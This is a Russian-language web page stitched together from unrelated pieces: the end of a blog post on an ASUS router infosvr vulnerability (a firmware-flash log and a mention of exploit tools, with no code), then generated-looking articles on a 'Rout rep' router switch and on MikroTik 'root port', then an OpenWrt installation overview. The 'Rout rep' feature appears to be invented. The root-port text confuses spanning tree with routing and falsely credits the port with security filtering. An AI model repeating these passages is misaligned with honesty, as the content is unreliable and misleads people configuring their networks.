####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
reboot…….

Сам факт повреждения прошивки в работающем роутере, говорит о том, что используя уязвимость можно менять её. Тогда изменения на роутере будут перманентными, а не только до перезагрузки, как было до сих пор.
Но на исследование этого у меня нет ни времени, ни желания.


Исходники AsusRouterTools, а также бинарники под Windows можно найти в репозитории на GitHub.

З.Ы. Раз уж разобрались с infosvr, почему бы не использовать его ещё и по назначению? AsusDiscover — это единственное, что продолжит работать после установки прошивки с устраненной уязвимостью.

Консольная версия Device Discovery

P.S. Это моя первая публикация, поэтому буду рад любым советам и замечаниям как по поводу статьи, так и по поводу программного кода.

P.P.S. Немножко негодования: Хабрахабру стоит добавить к интерфейсу написания статьи защиту от случайной публикации. Как-то я нажал Enter — и сработала кнопка «Опубликовать». Нужно же добавить либо какой-то предохранительный чекбокс, либо переспрашивать перед публикацией, либо давать возможность тут же отозвать отправку на публикацию. Да ещё и большая такая… Можно промахнуться и тыкнуть её вместо «Предпросмотра». Почему так не продумано?

UPD: Совместными усилиями с читателями (@a553), в эксплоитах исправлены ошибки, приводящие к падению при получении ответа от некоторых роутеров. Подробнее в этом комментарии.

Переключатель Rout rep на роутере — это функция, которая позволяет установить приоритеты использования определенных каналов передачи данных. Это очень полезная возможность, особенно когда вы хотите оптимизировать работу вашего сетевого подключения.

С помощью переключателя Rout rep вы можете управлять трафиком внутри сети и определить, какому приложению или устройству следует предоставить больший приоритет при передаче данных. Например, если вы хотите, чтобы игры или потоковое видео получали больше пропускной способности и не теряли в качестве во время загрузки больших файлов, вы можете настроить переключатель Rout rep соответствующим образом.

Использование переключателя Rout rep может быть особенно полезно, если в вашей сети много устройств и приложений, которым нужны стабильные и быстрые соединения. Вы также можете регулировать скорость соединения для различных устройств на одновременных уровнях используя эту функцию.

Для использования переключателя Rout rep сначала вам нужно зайти в настройки вашего роутера. Обычно доступ к настройкам осуществляется через веб-интерфейс, вводом IP-адреса роутера в браузер. Затем вы должны найти секцию, связанную с переключателем Rout rep и выбрать нужные параметры. Некоторые роутеры также предлагают автоматическую настройку, где вы можете выбрать различные типы приложений или устройств и присвоить им нужные приоритеты.

В целом, использование переключателя Rout rep может значительно улучшить производительность вашей домашней сети и сделать ее более эффективной. Эта функция дает вам больше контроля над тем, как используется доступная пропускная способность и позволяет настроить соединение под свои нужды.

Основы работы с переключателем Rout Rep на роутере

Пользоваться переключателем Rout Rep довольно просто. Для начала, нужно открыть интерфейс управления роутером, который доступен через браузер. Затем, на странице настроек или в разделе управления роутером, необходимо найти раздел, обозначенный как «Rout Rep» или «Функции роутера».

В этом разделе можно увидеть различные опции и переключатели, которые можно включать или выключать. Например, это могут быть опции, связанные с безопасностью сети (например, фаервол или фильтрация MAC-адресов), настройками Wi-Fi (например, скрытие имени сети или настройка аутентификации), а также другие функции, связанные с работой роутера.

Для включения или выключения опции или настройки, нужно просто переключить соответствующий переключатель в нужное положение. Обычно, переключатель имеет два положения: «включено» и «выключено». В некоторых случаях, могут быть и другие варианты, в зависимости от конкретной функции или настройки.

После того, как пользователь настроит все нужные опции и переключатели, следует сохранить изменения и перезагрузить роутер. Обычно, это делается нажатием кнопки «Сохранить» или «Применить». Роутер перезагрузится, чтобы изменения вступили в силу.

Важно помнить, что некоторые функции и настройки роутера могут быть доступны только в режиме администратора. Поэтому, если пользователь не является администратором роутера, некоторые опции могут быть недоступны для изменения. В таком случае, следует обратиться к администратору или провайдеру интернета.

Что такое переключатель Rout Rep?

Роутеры с функцией переключателя Rout Rep позволяют пользователям задавать различные правила маршрутизации и фильтрации данных. Например, можно настроить перенаправление трафика на определенный порт или интерфейс в зависимости от источника или назначения пакета данных.

Для использования переключателя Rout Rep необходимо выполнить следующие шаги:

  1. Подключите компьютер к роутеру с помощью эфирного кабеля.
  2. Откройте веб-браузер и введите IP-адрес роутера в строку поиска.
  3. Войдите в панель администрирования роутера, используя учетные данные.
  4. Найдите раздел настроек переключателя Rout Rep.
  5. Настройте правила маршрутизации и фильтрации с учетом требований вашей сети или задачи.
  6. Сохраните изменения и перезагрузите роутер для применения настроек.

После настройки переключателя Rout Rep роутер будет автоматически перенаправлять трафик в соответствии с заданными правилами. Это может быть полезно при установке VPN-соединений, настройке ограничений доступа или при балансировке нагрузки на сети с несколькими интерфейсами.

Важно помнить, что неправильная настройка переключателя Rout Rep может привести к непроходимости трафика или ухудшению производительности сети. Поэтому рекомендуется внимательно читать документацию роутера и консультироваться с профессионалами при необходимости.

Преимущества переключателя Rout Rep: Недостатки переключателя Rout Rep:
  • Гибкость настройки трафика
  • Увеличение производительности сети
  • Фильтрация пакетов данных
  • Управление потоком данных
  • Сложность настройки для новичков
  • Риск неправильной настройки
  • Ограниченная поддержка на некоторых роутерах

MikroTik root port — это центральный порт в сети, который является основным каналом для обмена данными. Как правило, root port настраивается на основном устройстве, которое контролирует все другие устройства в сети.

Root port в MikroTik обеспечивает стабильное соединение и оптимальную скорость передачи данных между устройствами. Он служит точкой входа для входящих и исходящих данных и осуществляет передачу данных в соответствии с настройками системы.

Для того чтобы использовать MikroTik root port, необходимо провести соответствующую настройку в интерфейсах устройства. Важно правильно настроить параметры root port, чтобы обеспечить максимальную производительность и эффективность сети.

Важно отметить, что использование MikroTik root port требует достаточных знаний в области сетевых технологий и MikroTik-устройств. Если вы не уверены в своих навыках или нуждаетесь в профессиональной поддержке, рекомендуется обратиться к специалистам, чтобы избежать возможных проблем с сетью и повреждениями устройств.

В заключение, MikroTik root port — это основной порт в сети, который обеспечивает стабильную связь и оптимальную скорость передачи данных. Правильная настройка root port является важной задачей для обеспечения эффективности работы сети. Убедитесь, что вы разбираетесь в настройке и использовании MikroTik root port или обратитесь за помощью к специалистам по сетевым технологиям.

Содержание

  1. Mikrotik root port: объяснение и основные функции
  2. Правила использования root port: основные инструкции и рекомендации
  3. Возможности root port для оптимизации сетевого трафика
  4. Преимущества Mikrotik root port при настройке сетевых соединений

Mikrotik root port: объяснение и основные функции

Основными функциями root port являются выбор корневого маршрутизатора в сети и определение наилучшего пути до корневого маршрутизатора для всех остальных портов. Root port выбирается на основе значения пути до корневого маршрутизатора, прописанного в протоколе STP.

Когда сеть включается, каждый Mikrotik маршрутизатор выбирает порт с минимальным значением пути в качестве root port. Порт с наименьшим значением пути считается наилучшим путем до корневого маршрутизатора.

Root port активируется на каждом маршрутизаторе Mikrotik и используется для определения путей до корневого маршрутизатора и для создания графа, который определяет наилучший путь для данных через сеть.

Основная функция root port состоит в том, чтобы помочь протоколу STP выбрать и установить оптимальные пути через сеть Ethernet, минимизировать петли и предотвращать проблемы при передаче данных.

Root port является одной из ключевых составляющих в построении стабильной и надежной сети на основе маршрутизаторов Mikrotik и протокола STP.

Преимущества использования Mikrotik root port:
1. Предотвращение петель в сети Ethernet, что увеличивает стабильность и производительность сети.
2. Автоматический выбор оптимального пути до корневого маршрутизатора.
3. Установка графа путей для определения наилучшего пути передачи данных.
4. Минимизация потерь данных и задержек при передаче через сеть.

Правила использования root port: основные инструкции и рекомендации

Следуя определенным правилам, вы сможете эффективно использовать root port и улучшить производительность вашей сети. Вот некоторые основные инструкции и рекомендации:

Правило Описание
1 Выберите root port с наименьшим значением path cost. Порт с наименьшим значением path cost считается наиболее предпочтительным для маршрутизации пакетов к корневому коммутатору.
2 Настройте root port на коммутаторе, который должен отправлять и принимать трафик. Обычно это коммутатор, размещенный на пересечении VLAN, и его root port обеспечивает связь между различными сетевыми сегментами.
3 Укажите правильные VLAN для root port. Убедитесь, что root port настроен для пересылки пакетов от и к определенным VLAN.
4 Проверьте состояние root port. Постоянно отслеживайте состояние root port, чтобы убедиться, что он работает должным образом и не возникает проблем с передачей пакетов.
5 Обновляйте настройки root port при необходимости. Если в сети происходят изменения, связанные с VLAN или расположением сетевых устройств, убедитесь, что настройки root port соответствуют новым условиям.
6 Используйте мониторинг и отчеты для анализа производительности root port. Регулярно анализируйте производительность root port с помощью мониторинга и отчетов, чтобы оптимизировать сеть и предотвратить возможные проблемы.

Следуя этим инструкциям и рекомендациям, вы сможете эффективно использовать root port в Mikrotik и обеспечить стабильную и быструю работу вашей сети VLAN.

Возможности root port для оптимизации сетевого трафика

Root port используется для определения оптимального маршрута для передачи данных в сети. Каждый маршрутизатор может иметь только один root port, который устанавливается на основе алгоритма Spanning Tree Protocol (STP).

Когда root port выбран, он становится основным путем для пересылки пакетов данных в сети. Это позволяет минимизировать время задержки пакетов, улучшая производительность и общую надежность сети.

Root port также позволяет предотвратить петли в сети. Это особенно важно в случае нескольких маршрутизаторов, где петли могут привести к непредсказуемому поведению сети и потере данных.

Чтобы использовать root port в Mikrotik, необходимо правильно настроить STP на каждом маршрутизаторе в сети. Это включает в себя настройку приоритетов портов и выбор корневого маршрутизатора.

В итоге, использование root port в Mikrotik позволяет оптимизировать сетевой трафик и улучшить производительность сети в целом. Это особенно важно для сетей с высокой нагрузкой и большим количеством связанных маршрутизаторов.

Преимущества использования root port:
Минимизация времени задержки пакетов
Улучшение производительности сети
Предотвращение петель в сети
Улучшение общей надежности сети

Преимущества Mikrotik root port при настройке сетевых соединений

Вот несколько основных преимуществ использования Mikrotik root port:

Преимущество Описание
1. Возможность управления трафиком Mikrotik root port позволяет контролировать направление и объем трафика между сетевыми устройствами. Это обеспечивает более эффективную и оптимизированную передачу данных.
2. Улучшение безопасности сети Root Port гарантирует безопасность сети путем фильтрации трафика и предотвращения несанкционированного доступа. Это значительно снижает риск нарушения безопасности и защищает сеть от внешних угроз.
3. Повышение производительности сети Использование root port увеличивает пропускную способность сети и улучшает скорость передачи данных. Это особенно важно для компаний с высокой нагрузкой на сеть или для сетей, где требуется обеспечить высокую скорость передачи данных.
4. Удобство настройки и управления Mikrotik root port обладает простым и интуитивно понятным интерфейсом управления, что делает его удобным для настройки и использования. Это позволяет быстро и легко настроить сетевые соединения и провести необходимые операции.

Использование Mikrotik root port является оптимальным решением для эффективного управления сетевыми соединениями, обеспечения безопасности и повышения производительности сети. Он предоставляет широкий спектр возможностей и преимуществ, которые могут быть полезными в различных сетевых сценариях.

Введение

Практически в каждой статье данного раздела мы говорим о том, что современные беспроводные домашние роутеры в массовом сегменте представляют собой «программно-аппаратные комплексы», поэтому потребительские качества продукта нельзя оценивать только по одной из этих плотно взаимосвязанных компонент. И как бы странно это ни звучало со стороны автора старейшего сайта о «железе», в данном случае «мегагерцы» и «мегабайты» являются морально устаревшей строчкой в техническом описании устройства и очень вторичной информацией с точки зрения полезности для потребителя. Ключевым вопросом является возможность эффективно решать конкретные задачи пользователя, а возраст использованной SoC на это влияет мало.

Конечно, это не относится к таким характеристикам, как поддерживаемые стандарты беспроводной связи, число и скорости проводных портов и портов USB. Их стоит рассматривать в разрезе планируемого использования устройства. Скажем если нужна функция сетевого хранения файлов или подключение сотового модема — потребуется порт USB, а если от провайдера нужно получить более 100 Мбит/с, то без гигабитных портов сделать это невозможно.

Но аналогичное замечание касается и встроенного программного обеспечения. Если речь только о раздаче интернета от провайдера по Wi-Fi на десяток клиентов в небольшом помещении, то на это способна практически любая модель. Но если требуется широкое покрытие беспроводной сетью несколькими точками, удаленный доступ к устройствам локальной сети, гибкие настройки межсетевого экрана и так далее, то обязательно нужны соответствующие функции в прошивке, одними мегагерцами и мегабайтами ситуацию не исправить. И конечно, универсального рецепта тут нет — «хотелки» у пользователей очень разные.

В комментариях к публикациям в данном разделе читатели часто упоминают в качестве альтернативы «готовым» роутерам решения сегмента «сделай сам» в виде сочетания недорогой модели «железа» и альтернативной прошивки. Несомненно, такой подход к выбору вполне возможен. Но хочется все-таки заметить, что его сложно назвать «универсальным решением всех проблем». И вопрос тут скорее не в собственно прошивке, а в подходе потребителя к выбору продукта и пониманию того, что есть явная связь функции-время-знания-деньги. Если пользователю нужно решение формата «купил, включил, настроил и работаешь» с минимальными затратами времени и усилий, то обычно выбираются присутствующие на рынке роутеры с требуемыми возможностями по аппаратной и программной части и используются с прошивками производителя. Да, в этом случае за разные интересные готовые к использованию функции придется доплатить.

А если есть опыт по установке альтернативных прошивок и понимание, что они способны решить ваши задачи, то можно купить условно более доступное оборудование, соответствующее аппаратным требованиям, и заменить прошивку производителя на более удобный вариант, что потребует как минимум времени. «С нуля» разобраться с этим может быть не так просто, но если «набить руку», то, конечно, всё можно сделать быстро и без риска «окирпичивания». Следующим уровнем можно назвать самостоятельную сборку прошивки под себя, на что придется потратить еще больше усилий, но теоретически получить более качественный или более функциональный вариант. Далее можно придумать полностью самостоятельное создание прошивки, что еще более трудоемко.

Понятно, что развивать это направление можно очень долго. Причем не только в программной части. Аналогичное движение может быть и для аппаратной платформы — от относительно простой доработки (скажем добавления каких-нибудь портов или увеличения объема памяти) до создания платы на готовых чипах.

В качестве аналогии можно посмотреть на рынок автомобилей: подавляющее большинство покупает готовые и пользуется ими. Некоторые вкладывают дополнительные средства в тюнинг, еще меньшая часть создает собственные уникальные транспортные средства.

Стоит отметить здесь и отличия в таких характеристиках, как гарантии, обновление, исправление ошибок, дополнительные сервисы производителя (к примеру, облачный доступ или мобильное приложение) и так далее. На наш взгляд, ситуация с выбором непростая. С одной стороны, мы имеем готовое решение производителя устройства, в котором он реализовал свой набор функций и выйти за его пределы невозможно, с другой — альтернативное программное обеспечение, где почти нет ограничений по расширению, но на его внедрение потребуются и время, и знание.

Сколько-нибудь адекватно сравнить эти варианты по «качеству/надежности/безопасности» кода практически невозможно, поскольку всё пишут люди. Но как минимум стоит заметить, что у крупных компаний есть более плотное взаимодействие с производителями аппаратных компонентов и более организованное внутреннее взаимодействие, что теоретически может давать возможность более эффективного использования аппаратных ресурсов с целью повышения производительности. Кроме того, они могут задействовать и коммерческие компоненты (например, драйвера файловых систем, сервисы фильтрации контента и так далее). С другой стороны, проекты с открытым исходным кодом могут быть более гибкими и более активными по внедрению новых сервисов.

Одной из наиболее известных универсальных прошивок для беспроводных маршрутизаторов является OpenWrt, которой скоро исполнится 20 лет. Решение основано на ядре Linux и предлагается с лицензией GNU GPL 2. Наиболее важным при выборе модели роутера под эту прошивку является объем флеш-памяти. Старые версии могли работать на устройствах с 4 и 8 МБ, но актуальные для комфортной работы хотят от 16 МБ и более. Что касается оперативной памяти, то тут рекомендуется от 128 МБ и более. К счастью, подавляющее число современных моделей этим требованиям удовлетворяют. В официальном списке подходящих роутеров на момент подготовки публикации было более 2000 моделей.

В то же время, надо отметить, что по платформам ситуация не такая хорошая, поскольку производители SoC не всегда предоставляют публичную информацию о своих разработках. Это может приводить к тому, что подобные открытые проекты не могут полностью раскрыть все возможности платформы (например, если речь идет о таких специфических функциях как «ускорители» или специализированные вычислительные блоки) и даже совсем или частично не поддерживают оборудование. Так что в любом случае рекомендуется очень внимательно читать информацию на сайте об особенностях работы OpenWRT на конкретном устройстве.

Непосредственно тесты мы проведем в следующих статьях с несколькими популярными моделями роутеров, а здесь, чтобы далее не повторяться, коротко расскажем о собственно прошивке. Для определенности ссылки далее будут для модели Redmi AX6S.

Установка OpenWrt

В наиболее удачном варианте на сайте есть страничка, посвященная именно вашему роутеру. На ней приводится подробное описание установки и особенности этого процесса. Желательно прочитать всю информацию внимательно, поскольку производители оборудования могут менять аппаратные версии и конфигурации флеш-памяти, а это является важным моментом совместимости. Далее вам предстоит выбрать собственно версию прошивки. Для начала и первого знакомства оптимальным вариантом является последняя официальная релизная версия. Если вы точно понимаете, что вам нужно что-то новее, то можно поискать на сайте так называемые снапшоты, которые представляют собой ежедневные сборки наиболее актуальных версий прошивки, модулей и пакетов. Это позволяет оперативно добавлять поддержку новым устройствам и функциям, однако разработчик предупреждает, что они как минимум не имеют графического интерфейса «из коробки» и не протестированы. Еще один вариант — поиск прошивок пользователей на тематических форумах. Обычно они построены на базе относительно актуального снапшота и имеют встроенные дополнительные пакеты, которые создатель посчитал необходимыми (например, графический интерфейс или поддержку сотовых модемов). Понятно, что в случае вопросов по последнему варианту адресовать их нужно будет автору сборки.

Для собственно установки прошивки обычно требуется прямой доступ к флеш-памяти через консоль. В зависимости от производителя и модели могут быть разные варианты получения такого доступа. В нашем случае использовалась китайская версия устройства, для которой в сети есть формально официальная прошивка, на которую можно перейти штатным образом через веб-интерфейс, а уже в ней специальным консольным инструментом включить telnet. Процесс относительно простой, но требует определенных знаний и, конечно, внимательности.

В более сложных вариантах может потребоваться работа с аппаратной консолью — со вскрытием корпуса, подключением специальных адаптеров и так далее. В случае неверных действий есть риск «окирпичивания» устройства, когда для восстановления его работоспособности потребуется провести уже более сложные операции, в самом неудачном случае требующие перепрошивки микросхем на отдельном программаторе.

Далее всё по инструкции: подключаемся к консоли и проверяем все указанные требования по установке. Желательно также сделать полный дамп (копию) установленной версии. После этого закачиваем прошивку и записываем ее во флеш-память. Если вы пока только раздумываете о переходе, то стоит также ознакомиться с информацией о вариантах возврата на официальную прошивку производителя устройства.

Обратная процедура в нашем случае относительно проста: оригинальную прошивку можно вернуть через специальный режим восстановления. Для этого потребуется специальная настройка локальной сети и сервер TFTP или же можно воспользоваться специальной утилитой восстановления, в которой уже всё есть. Сам файл прошивки также потребуется предварительно скачать из сети. Далее зажимаем кнопку сброса и включаем питание роутера. Когда начнет мигать желтым индикатор, отпускаем кнопку сброса и ждем, пока индикатор начнет мигать синим. Далее всё настраивается как на новом устройстве.

Базовые возможности OpenWrt

Прошивка представляет собой полноценную операционную систему и имеет поддержку системы управления пакетами. Конечно в единственной публикации описать их все невозможно. Так что для начала посмотрим, что есть «из коробки», а когда будем тестировать конкретные модели, коснемся и дополнительных функций. Поскольку мы использовали стабильный релиз, то в нем уже есть GUI-интерфейс для работы через браузер. Однако часть функций, особенно если вы добавили пакеты, настраивается через командную строку.

Поскольку здесь изложение будет кратким, приведем прямые полезные ссылки, где можно найти больше информации: руководство по началу работы, руководство пользователя, руководство разработчика, ветка в нашей конференции.

После перезагрузки роутера и переподключения к нему клиента открываем штатный веб-интерфейс LuCI, расположенный по адресу 192.168.1.1. Здесь есть поддержка HTTPS и автоматический редирект. Аккаунт по умолчанию — root без пароля. И конечно, пароль нужно будет обязательно поменять в настройках устройства. Отметим, что по умолчанию беспроводные интерфейсы неактивны, так что начинать настраивать роутер нужно будет по кабелю. Язык интерфейса на свежеустановленной прошивке английский, но в репозитории есть пакеты локализации LuCI, в том числе с русским языком.

После входа мы видим общую страницу состояния устройства. На ней представлены данные о прошивке, времени работы, отчеты по оперативной памяти и диску, сетевые интерфейсы, клиенты и другие данные. Несколько странно, что нет цифр по процессору, так что их придется смотреть на другой странице. Верхний уровень меню состоит из четырех пунктов, последний из который — выход.

В разделе Status кроме описанной выше страницы Overview есть еще шесть. Routing показывает текущую таблицу маршрутизации, Firewall — актуальные таблицы межсетевого экрана (в данной версии основан на firewall4 и nftables). Системный журнал System Log представлен выводом dmesg.

На странице Processes можно посмотреть список текущих процессов и потребляемых ими ресурсов процессора и оперативной памяти с возможностью принудительного завершения.

Channel Analysis предоставляет информацию о соседних беспроводных сетях (имя, уровень сигнала, номер и ширина канала, режим, BSSID) по каждому радиоблоку.

На Realtime Graphs представлены полезные графики для оценки текущей нагрузки на роутер: загрузка процессора, график по каждому интерфейсу, уровни сигнала беспроводных соединений, список UDP- и TCP-соединений. Заметим, что долговременного хранения данных, конечно, не предусмотрено, так что если это требуется, нужно будет использовать внешние сервисы.

В разделе System, как понятно из названия, находятся системные настройки. На первой странице можно указать сетевое имя и настроить часы (есть поддержка синхронизации через NTP). На Logging можно выбрать размер буфера для хранения журнала и уровень протоколирования, а также указать удаленный сервер Syslog для отправки событий на него. И конечно, не обошлось без смены языка и темы веб-интерфейса.

На странице Administration настраивается пароль пользователя root, сервис SSH, ключи SSH и редирект на HTTPS.

Установка дополнительных пакетов opkg осуществляется на странице Software. На момент подготовки статьи там было представлено более 7000 модулей. Конечно, большинство из них скорее служебные или библиотеки, но в целом масштаб оценить можно. Заметим также, что речь идет исключительно о пакетах операционной системы, а не о готовых модулях для реализации конкретной функции для пользователя. К примеру, если устанавливается веб-сервер apache, то есть основной пакет и различные дополнения (модули). Удобно что в таблице представлен и требуемый объем на накопителе, а также текущее состояние системного накопителя. В случае нашего роутера на «чистой» прошивке было свободно 90 МБ.

На странице Startup можно управлять скриптами инициализации, а также создать и изменить пользовательский скрипт /etc/rc.local.

Страница Scheduled Tasks позволяет отредактировать системный файл планировщика crontab.

Если позволяет аппаратная конфигурация роутера, на странице LED Configuration можно настроить работу светодиодов на корпусе устройства.

Страница Backup / Flash Firmware пригодится для сохранения/восстановления/сброса конфигурации, обновления прошивки, создания копий блоков флеш-памяти. Обратите внимание, что с обновлениями всё может быть не так просто, как хотелось бы. В частности, для рассматриваемой модели роутера из-за конфигурации блоков флеш-памяти вариант обновления через GUI неработоспособен.

Последняя страница в разделе — принудительная перезагрузка роутера (Reboot).

Итого в этой группе имеет смысл настроить несколько параметров — пароль администратора, встроенные часы и, может быть, работу светодиодов. Пока всё выглядит достаточно просто и мало отличается от интерфейсов других роутеров, но дальше будет немного сложнее.

Настройки по умолчанию уже включают режим клиента DHCP для порта WAN, объединяют все порты LAN и настраивают на этом интерфейсе сервер DHCP. Так что если у вас провайдер с IPoE и автоматической настройкой, то по кабелю всё будет работать сразу. Если требуется что-то изменить — идем на страницу Interfaces в разделе Network.

Для WAN штатно поддерживаются наиболее востребованные и распространенные режимы IPoE и PPPoE, а также IPv6. Гибкость настроек интерфейсов позволяет настроить конфигурации с несколькими WAN и использовать технологи VLAN.

Настройки LAN мало отличаются от других рассмотренных моделей. Стоит только обратить внимание на то, что подробные опции сервера DHCP расположены на отдельной странице.

С первого раза может быть непросто разобраться с беспроводными интерфейсами, поскольку здесь разделены понятия радиоблока и сети. При этом на один радиоблок можно назначить сразу несколько сетей, но готового шаблона для сценария гостевой сети нет.

В настройках собственно сетей базовый набор опций уже понятный: стандарт, номер и ширина канала, мощность передатчика, режим работы (например, можно реализовать схему с беспроводным подключением к интернету), имя, защита (есть поддержка WPA3), фильтр MAC-адресов и так далее. Набор каналов и максимальная мощность определяются региональными настройками.

С разделом Routing вопросов нет: можно добавить собственные маршруты для IPv4 и IPv6 в статическом режиме или с учетом назначенных правил.

На странице DHCP and DNS назначаются постоянные адреса клиентам, есть пункты для реализации на базе роутера загрузки по сети с использованием PXE и TFTP, настройка локального разрешения имен.

Встроенные диагностические утилиты — ping, traceroute и nslookup — могут быть полезны при диагностике проблем прохождения трафика.

Последний пункт раздела — настройка межсетевого экрана.

Он работает с использованием зон, имеет функцию проброса портов, а в правилах предусмотрено использование в том числе и расписаний.

В целом даже базовый состав прошивки вполне конкурентноспособен по сравнению с массовыми моделями представленных на рынке роутеров. Конечно, многие производители, особенно в верхнем и/или игровом сегментах, сегодня реализуют широкий набор дополнительных функций, например облачное управление, Mesh-сети, родительский контроль и так далее, однако оценить их реальную востребованность достаточно сложно, тут всё зависит от требований конкретного пользователя.

В последующем тестировании мы устанавливали на роутер серверы VPN для различных протоколов, и эти операции сложно было назвать простыми и интуитивно понятными (для примера — официальная инструкция для сервера OpenVPN), однако в целом это вполне осуществимо за разумное время при наличии определенного опыта работы с Linux и сетями. Но совершенно точно, что простым «копипастом» примеров из интернета здесь не обойтись, потребуется еще и разбираться в том, что конкретно делают предлагаемые команды и скрипты, возможно адаптировать их под вашу версию оборудования и/или общаться с сообществом активных пользователей на многочисленных форумах. Другое дело — если вы хорошо знакомы с этой прошивкой и уже имеете собственную коллекцию рецептов на разные случаи. Тогда, конечно, всё существенно проще и быстрее. Впрочем, это касается всех областей жизни, где опыт имеет значение.

Заключение

Очередное знакомство с OpenWrt, как ярким представителем альтернативных прошивок для беспроводных роутеров, показало, что в настоящий момент этот продукт является вполне зрелым для активного использования, и не только энтузиастами. Если по какой-то причине вы считаете, что у вашего роутера прошивка «глючит», или если вам требуются какие-то функции, ждать реализацию которых от производителя нет никакого смысла, то стоит заглянуть на страничку совместимости проекта OpenWrt.

Второй вариант — когда вы сразу выбираете новый роутер уже с прицелом на работу с OpenWrt. В частности, это касается «китайских» моделей, которые обычно имеют привлекательные технические характеристики в сочетании с невысокой стоимостью, но штатная прошивка у них мало того что на незнакомом языке, так еще и очень «грустная» по возможностям. Но еще раз напомним, что все-таки такая схема — это не «включил и работаешь». Если у вас действительно сложные запросы и нет опыта в данной области — потребуется потратить достаточно много времени для достижения своей цели.

Третий вариант — у вас есть какой-то старый роутер, который хочется использовать для решения нестандартных задач (например, мониторинга, удаленного управления, веб-сервисов, хранения данных) в формате микросервера.

Ну и четвертый вариант для настоящих энтузиастов — выбор модели (платформы), уже сразу ориентированной создателями на работу с OpenWrt, или установка данного ПО на обычный стандартный компьютер. В этом случае можно будет забыть про ограничения по памяти, диску и мощности процессора, добавить различную периферию и так далее. Но вполне возможно, что придется ближе познакомиться с миром аппаратной поддержки оборудования в конкретном дистрибутиве.

  • Что такое роутеры с поддержкой модемов
  • Что такое роутеры на нетбук
  • Что такое роутеры для локальной сети
  • Что такое роутеры на велосипеде
  • Что такое роутеры маршрутизаторы интернет